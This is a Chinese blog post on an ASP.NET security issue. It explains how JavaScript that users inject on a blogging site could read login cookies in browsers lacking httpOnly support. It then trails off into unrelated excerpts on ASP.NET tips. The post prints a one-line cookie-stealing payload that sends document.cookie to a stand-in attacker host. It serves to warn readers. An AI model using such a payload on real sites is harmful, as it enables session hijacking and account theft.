一个一直都让人忽略的ASP.NET安全问题.
自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.
这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .
而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.
但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?
例如 , 假如你用FireFox登录博客园(www.cnblogs.com
), 然后到一个恶意的用户的文章去.
你知道cnblogs.com允许用户随意增加javascript的.
那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
当然,ASP.NET发送给客户端的信息是加密过的.
但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.
所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.
但是如果使用IE6SP1,IE7,就不会存在该问题.
因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.
相关文档：
ScriptManager 控件管理支持 AJAX 的 ASP.NET 网页的客户端脚本。默认情况下，ScriptManager 控件会向页面注册 Microsoft AJAX Library 的脚本。这将使客户端脚本能够使用类型系统扩展并支持部分页呈现和 Web 服务调用这样的功能。
必须在页上使用 ScriptManager 控件，以启用下 ......
你会经常碰到这种情况：几乎在网站的每个页面上,存储一些全局处理信息。理想的做法是将这些信息一次性的集中存储在资料档案库中，而不是在网站的每个页面上都重复这样的操作。比如说数据库连接串就是这样的信息，如果这些信息不是集中存储在特定区域中，而是在网站的每个需要连接数据库的页面上手工输入� ......
------本文转载自网络，所有权归作者所有
如果你已经有较多的面向对象开发经验，跳过以下这两步：
第一步 掌握一门.NET面向对象语言，C＃或VB.NET。
我强烈反对在没系统学过一门面向对象（OO）语言的前提下去学ASP.NET。
ASP.NET是一个全面向对象的技术，不懂OO，那绝对学不下去！
第二步 对.NET Framework类库有一 ......
准备工作和WinForm程序中应用的差不多：
1.首先下载jmail控件，然后安装（其实不安装也行，只要你能找到jmail.dll文件，然后注册该dll文件。这里不支持上传附件，否则我就把我下载的传上来了），附上手工注册它的批处理：
echo off
copy jmail.dll C:\windows\system32
regsvr32 ......
发布中遇到了两个问题
一。session 会短时间自动消失
解决办法
1。在www.google.com中查session 丢失
2。在Window服务中将ASP.NET State Service 启动。
3。修改web.config
<system.web>
add <sessionState mode="StateServer" timeout="60"/>
二。sql server 超过最大连接池数
......
